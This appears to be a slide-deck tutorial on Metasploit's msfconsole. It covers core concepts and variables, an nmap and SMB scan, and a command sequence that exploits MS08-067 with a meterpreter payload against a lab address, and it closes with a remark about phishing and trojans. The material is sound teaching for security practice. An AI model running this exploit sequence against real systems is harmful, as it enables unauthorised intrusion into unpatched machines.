120 likes | 256 Views
Exploring the M sfconsole. What is it?. The Metasploit msfconsole is the primary interface used to interact with the framework. It is the only currently supported interface. It is also the most useful when exploring specific vulnerabilities .
E N D
What is it? • The Metasploitmsfconsole is the primary interface used to interact with the framework. • It is the only currently supported interface. • It is also the most useful when exploring specific vulnerabilities. • Relatively easy to learn for those already used to a command line environment.
General Concepts • Payload: An exploitable executable to deliver to a victim machine. • Exploit: A defined method of attack available for loading from the framework. • Session: An established, post-exploit connection to the victim machine. May be in the form of a shell or a VNC connection.
The environment • Much as with Cisco routers and switches, the msfconsole allows you to enter into different contexts to run commands. • These contexts can have their own variables or use global variables. • Local variables can be assigned values using the set command. • Global variables can be assigned using setg.
Important Variables • LHOST: local host • RHOST: remote host(s) • LPORT: local listening port • RPORT: remote port • PAYLOAD: specify payload • EXPLOIT: metasploit exploit to run
Exploit commands • exploit • exploit -j • exploit -h • sessions -c cmd • sessions -iV • sessions -k • check
Scanning example >nmap -sS -v -A -p1-1024 192.168.85.138 >use auxiliary/scanner/smb/smb_version >set RHOSTS 192.168.85.138 >run
What happened? • Nmap indicated smb was running on the target. • An auxiliary module was called to scan the smb-system. • The results indicated XP Service Pack 2
Sample cmdseries >search exploit/windows/smb >use windows/smb/ms08_067_netapi >show options >set PAYLOAD windows/meterpreter/bind_tcp >set RHOST 192.168.85.137 >set target 4 >exploit
What happened? • A search was made of windows smb exploits • The netapi exploit was chosen. • A payload and remote victim were identified. • The specific platform of the victim was specified (4 = XPSP2) • The exploit was run and a meterpreter shell was created.
What About Win 7/8? • Newer operating systems are harder to leverage. • New exploits emerge over time and are added to the framework. • The more frequently patched the system, the less vulnerable. • In such cases one must fall back on tricking a user into providing access through phishing or trojans.